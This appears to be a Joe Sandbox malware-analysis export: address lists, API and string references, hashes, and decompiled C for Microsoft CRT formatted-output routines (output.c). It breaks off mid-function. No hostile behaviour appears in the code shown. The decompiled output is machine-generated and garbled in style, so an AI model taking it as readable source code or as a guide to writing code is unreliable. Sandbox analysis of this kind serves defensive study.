0x004344ee
0x004344f0
0x004344f5
0x004344fb
0x004344fd
0x004344fd
0x004344fb
0x004344fe
0x00434505
0x00000000
0x00434507
0x0043450c
0x00434528
0x00434530
0x0043453d
0x00434542
0x00435401
0x0043540e
0x0043540e
0x00434505
0x004344a8
0x0043533d
0x00435344
0x0043535b
0x0043534f
0x0043534f
0x0043534f
0x00435365
0x0043536b
0x00435378
0x0043537a
0x0043537f
0x00435381
0x00435386
0x0043538b
0x0043538d
0x00435392
0x00435398
0x0043539a
0x0043539a
0x00435398
0x004353a2
0x004353ed
0x004353f6
0x004353fb
0x004353a4
0x004353a9
0x004353c5
0x004353cd
0x004353da
0x004353df
0x004353df
0x00000000
0x004353a2
0x0043513c
0x00435142
0x0043514c
0x00435161
0x00435176
0x00435178
0x0043517c
0x0043517c
0x00435163
0x00435163
0x00435167
0x00435167
0x0043514e
0x0043514e
0x00435152
0x00435152
0x0043514c
0x0043518c
0x00435198
0x004351ae
0x004351b3
0x004351b3
0x004351c9
0x004351ce
0x004351d7
0x004351f5
0x004351fa
0x004351fa
0x00435201
0x004352d5
0x004352e8
0x004352ed
0x00000000
0x00435211
0x00435211
0x00435211
0x0043521e
0x00435227
0x0043522d
0x0043522d
0x0043523c
0x00435244
0x00000000
0x00000000
0x0043524a
0x00435253
0x00435272
0x00435277
0x0043527a
0x00435289
0x00435296
0x004352a1
0x004352a1
0x00000000
0x004352ad
0x004352ad
0x004352c6
0x004352cb
0x00000000
0x004352cb
0x00435296
0x004352d3
0x004352f0
0x004352f7
0x00435315
0x0043531a
0x0043531a
0x00000000
0x004352f7
0x004348ee
0x004348ee
0x004348f5
0x004348fb
0x00434901
0x00434904
0x0043490a
0x0043491d
0x0043491d
0x00434924
0x00000000
0x00434c7e
0x00434c7e
0x00434c85
0x00434c8c
0x00434c8f
0x00000000
0x00000000
0x0043492b
0x0043492e
0x00434934
0x00434939
0x0043493e
0x0043493e
0x00000000
0x00000000
0x00434a6b
0x00434a6e
0x00434a73
0x00434a78
0x00434a7e
0x00434a7e
0x00000000
0x00000000
0x00434e4b
0x00434e4b
0x00000000
0x00000000
0x004349d5
0x004349d5
0x004349e1
0x004349ee
0x004349fc
0x004349fc
0x00434a02
0x00434a05
0x00434a11
0x00434a66
0x00000000
0x00434a66
0x004349f0
0x004349f0
0x004349fa
0x00434a16
0x00434a19
0x00434a1f
0x00434a47
0x00434a4e
0x00434a54
0x00434a57
0x00434a5a
0x00434a60
0x00434a63
0x00434a21
0x00434a21
0x00434a27
0x00434a2a
0x00434a2d
0x00434a33
0x00434a36
0x00434a39
0x00434a3b
0x00434a3e
0x00434a3e
0x00000000
0x00434a1f
0x00000000
0x00000000
0x00434c95
0x00434c98
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca7
0x00434cb2
0x00434cbd
0x00434cc1
0x00434cd8
0x00434cdf
0x00434ce1
0x00434ce1
0x00434ce8
0x00434cef
0x00434d00
0x00434d0f
0x00434d16
0x00434d2c
0x00434d18
0x00434d18
0x00434d1b
0x00434d21
0x00434d27
0x00434d27
0x00434d16
0x00434d36
0x00434d39
0x00434d3c
0x00434d3f
0x00434d42
0x00434d45
0x00434d4b
0x00434d51
0x00434d59
0x00434d5a
0x00434d5d
0x00434d5e
0x00434d61
0x00434d62
0x00434d69
0x00434d6a
0x00434d6d
0x00434d6e
0x00434d71
0x00434d72
0x00434d78
0x00434d79
0x00434d87
0x00434d89
0x00434d8f
0x00434d95
0x00434d9d
0x00434da5
0x00434da6
0x00434da9
0x00434daa
0x00434db8
0x00434dba
0x00434dba
0x00434dbd
0x00434dc7
0x00434dcc
0x00434dd2
0x00434dd4
0x00434ddc
0x00434ddd
0x00434de0
0x00434de1
0x00434df0
0x00434df2
0x00434df2
0x00434dd2
0x00434df5
0x00434df8
0x00434dfe
0x00434e03
0x00434e09
0x00434e0f
0x00434e12
0x00434e12
0x00434e15
0x00434e21
0x00000000
0x00434e21
0x00434cc3
0x00434cc3
0x00434ccd
0x00000000
0x00000000
0x00434ccf
0x00434ccf
0x00000000
0x00434ccf
0x00434cb4
0x00434cb4
0x00000000
0x00000000
0x00434941
0x00434944
0x0043494a
0x004349a5
0x004349ad
0x004349b4
0x004349ba
0x004349c0
0x0043494c
0x0043494c
0x00434956
0x0043495a
0x00434962
0x00434969
0x00434976
0x0043497d
0x00434989
0x00434996
0x00434998
0x00434998
0x0043499f
0x004349c7
0x004349cd
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b87
0x00434b87
0x00434b93
0x00434ba0
0x00434c4a
0x00434c4d
0x00434c50
0x00434c64
0x00434c6a
0x00434c70
0x00434c52
0x00434c52
0x00434c5f
0x00434c5f
0x00434c72
0x00000000
0x00434c72
0x00434ba6
0x00434ba6
0x00434ba8
0x00434bb6
0x00434baa
0x00434baa
0x00434baa
0x00434bc0
0x00434bc6
0x00434bd3
0x00434bd5
0x00434bda
0x00434bdc
0x00434be1
0x00434be6
0x00434be8
0x00434bed
0x00434bf3
0x00434bf5
0x00434bf5
0x00434bf3
0x00434bfd
0x00434c45
0x00000000
0x00434bff
0x00434bff
0x00434c04
0x00434c20
0x00434c28
0x00434c32
0x00434c35
0x00434c3a
0x00000000
0x00434c3a
0x00000000
0x00434e8c
0x00434e8c
0x00434e96
0x00434e9c
0x00434ea1
0x00434ea7
0x00434ea7
0x00000000
0x00000000
0x00434e44
0x00434e44
0x00000000
0x00000000
0x00434a81
0x00434a85
0x00434a93
0x00434a96
0x00434a87
0x00434a87
0x00434a87
0x00434a9c
0x00434aa2
0x00434aa8
0x00434ab4
0x00434aba
0x00434ac0
0x00434b27
0x00434b2b
0x00434b2d
0x00434b33
0x00434b33
0x00434b36
0x00434b39
0x00434b3f
0x00434b3f
0x00434b3f
0x00434b4b
0x00434b4e
0x00434b56
0x00000000
0x00000000
0x00434b58
0x00434b58
0x00434b5e
0x00434b63
0x00000000
0x00000000
0x00434b65
0x00434b6b
0x00434b6e
0x00434b6e
0x00434b76
0x00434b7c
0x00434b7f
0x00000000
0x00434ac2
0x00434ac2
0x00434ac6
0x00434ac8
0x00434acd
0x00434acd
0x00434ad0
0x00434ad7
0x00434ada
0x00434ae0
0x00434ae0
0x00434ae0
0x00434aec
0x00434aef
0x00434af7
0x00000000
0x00000000
0x00434af9
0x00434af9
0x00434aff
0x00434b04
0x00000000
0x00000000
0x00434b06
0x00434b0c
0x00434b0f
0x00434b0f
0x00434b17
0x00434b1d
0x00434b20
0x00434b22
0x00434b82
0x00000000
0x00434b82
0x00000000
0x00434e3b
0x00434e3b
0x00000000
0x00000000
0x00434e57
0x00434e57
0x00434e61
0x00434e61
0x00434e6b
0x00434e71
0x00434e73
0x00434e7d
0x00434e80
0x00434e83
0x00434e83
0x00000000
0x00000000
0x00000000
0x00000000
0x00434924
0x00435132
0x00435132
0x00435132
0x00435132
0x00435132
0x00435132
0x00435132
0x00434f8f
0x00434f86
0x00434eaa
0x00434eaa
0x00434eaa

APIs

_get_int64_arg.LIBCMTD ref: 00434EB8
_get_int64_arg.LIBCMTD ref: 00434EE0
__aullrem.LIBCMT ref: 00435085
__aulldiv.LIBCMT ref: 004350A7
_write_multi_char.LIBCMTD ref: 004351AE
_write_string.LIBCMTD ref: 004351C9
_write_multi_char.LIBCMTD ref: 004351F5
_wctomb_s.LIBCMTD ref: 00435272

Strings

_output_s_l, xrefs: 0043451E
9, xrefs: 004350B8
("Incorrect format specifier", 0), xrefs: 004344DD, 00434523
-, xrefs: 0043514E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004344E9, 00434519

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 98f2fe3707f84ec47c1ce3e1b8abe1245f1b58acacccaf61aae08049296e0555
Instruction ID: 0c433b7c50661689626452d7e0c89a8eff50b980e3c37b88b3f0a795bca689ec
Opcode Fuzzy Hash: 98f2fe3707f84ec47c1ce3e1b8abe1245f1b58acacccaf61aae08049296e0555
Instruction Fuzzy Hash: FFF14BB1D016299FDB24DF54CC99BEEB7B1BB88304F1481DAE419A7281D7386E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C23B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C23B(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E00428200(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00428200(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E00428200(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00428200(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00428220(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00428220(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00430630(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E004306B0( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C3E0( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C824))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043C930( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43c85c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C844))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43c884; // 0xc0919003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C870))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E220();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422D10(_t588))) = 0x16;
																						E00422AA0(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041ACC0(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E0042BB60(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L0041E220();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E0041ACC0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422D10(_t580))) = 0x16;
																				E00422AA0(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E0041ACC0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E0043C990(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E0043C9D0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E0043C990(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E0043C9D0( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E0041ACF0(_t674 - 0x40);
